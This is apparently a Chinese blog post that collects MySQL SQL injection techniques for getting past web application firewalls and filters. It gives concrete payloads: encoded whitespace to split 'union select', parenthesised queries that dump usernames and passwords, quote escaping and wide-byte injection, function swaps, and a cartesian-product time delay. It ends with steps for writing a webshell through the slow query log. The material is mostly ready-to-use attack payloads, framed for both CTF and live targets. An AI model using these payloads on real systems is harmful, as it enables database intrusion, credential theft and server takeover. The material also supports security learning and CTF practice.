做网上一些文章和自己经验的整合,
网安人的事儿,能叫抄吗~
1.使用注释符/**/,内联注释:/*!不带小数点的版本号+关键字*/
(实战和CTF简单题有些用)
2.利用apache的CVE(并且是mysql 5.0版本以上):
%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、
%0b TAB键(垂直)、%a0 ,%20空格(这两个有点拉胯)
上述的几个字符对付不严格的正则匹配比较有用,比如XXdog
举例:id=-1 union %0A select 1,2,3 from xxx
因为union select在一起的时候会被匹配到,而新建一行之后这两个东西就被分开了,由于正则的多行匹配模式,这两个就不是在一块的了。
要注意,联合查询是一种条件极为严苛的注入方式
3.使用括号绕过
select(group_concat(username,password))from(users)where(username='admin')
select(group_concat(username,password))from(users)where(username)like('adm%')
select(group_concat(username,password))from(users)where(username)regexp('^adm')
1.使用十六进制:0x加上16进制转换后的字符串
2.未使用addslashes,且注释符和反斜杠没有被过滤的情况下:使用单引号转义,构造payload使其拼接成如下语句(从\开始(包括\)
一直到注释符都是构造的语句)
select * from user where username='admin\' and passwd='123456';#后面剩下的语句;
3.在GBK编码条件下使用宽字节注入
对于列名
select 1,2 from xxx = select * from (select 1)a join (select 2)b
对于mid(),substr(),substring()这样的三参数字符串截取函数可以使用
mid(database() from 2 for 1) = mid(database(),2,1)
还有一种很常用的使用like或者regexp
like 'a%'
regexp '^a'
然后逐次增加后面的字母
limit的第二个参数用offset绕过
limit 0,1 = llimit 0 offset 1
大于号小于号等于号分别用greatest,least,between字句一把梭
xxx>65 等价于greatest(xxx,65)=xxx
xxx<65 等价于least(xxx,65)=65
=xxx 等价于 between xxx and xxx
1.大小写绕过(最简单的也是最不常用的,CTF比赛中也是最容易被忽略的)
2.双写绕过,对付正则替换
3.等价替换,
and=&&=%26%26
or=||=%7c%7c
xor=^
select在堆叠开启的时候可以用handler代替
等价函数:
ascii()=ord(),也可以把这个换成hex,bin,to_base64等等
char()=chr()
mid(xxx,a,b)=substring(xxx,a,b)=substr(xxx,a,b)
还有一个来自我的突发奇想,但是有个缺点就是读到最后会重复返回最后一个字符
mid(xxx,a,b)=right(left(xxx,a+b),b)
strcmp(left(xxx,a),b),功能类似于like
where被过滤:
from table where id=1 等价于
from table a join table b on a(或者b).id=1
时间盲注中相关函数被过滤可以使用笛卡尔积
information_schema.collations,information_schema.collations,information_schema.collations
三个collations表做笛卡尔积时间大约为6秒,这个表在一般情况下都是固定的数量,所以对于不同地方的数据库,时间大致都相同。
但是注意要在mysql 5以上才可以(只有mysql5以上才有元数据的这个表)
这个方法可以直接拿来替换sqlmap掉payloadxml中的sleep(5),因为sqlmap对time-sec参数的优化是用一种数学方法,所以sleep(5)
只是个形式。
4.存储过程:
标准写法
SET @sql=用concat拼接一些语句或者直接梭16进制;
PREPARE stml from sql;
EXECUTE stml;
非标准写法
PREPARE stml from 用concat拼接点语句或者上16进制;
EXECUTE stml;
1.逻辑操作
id=x<1 等价于 not id=x,节省fuzz时间
2.通过排序和插入数据盲猜数据,利用字典排序
3.无列名注入
select `1` from (select 1,2,3 union select * from table)x
4.空格和等号被过滤
(locate(‘a’,string))>0 locate函数返回值为’a’在string中的位置(大于零的)
同instr()
5.group by后接having等式的盲注,order by后接数字的盲注,以及limit的两种注入方式(mysql 5~5.6.6):
procedure analyse(注入语句,1) //报错注入或者时间盲注
into 绝对路径(还需要权限)
6.慢日志写shell
原文:mysql之突破secure_file_priv写shell
1.set global slow_query_log=1; //启用默认禁用的慢日志查询
2.set global slow_query_log_file='dir\filename'; //设置日志路径和文件后缀
3.select 一句话 or sleep(一定时间);
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志?
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'
就写(抄)到这里啦,各位师傅们如果有什么剑走偏锋的姿势欢迎评论分享吖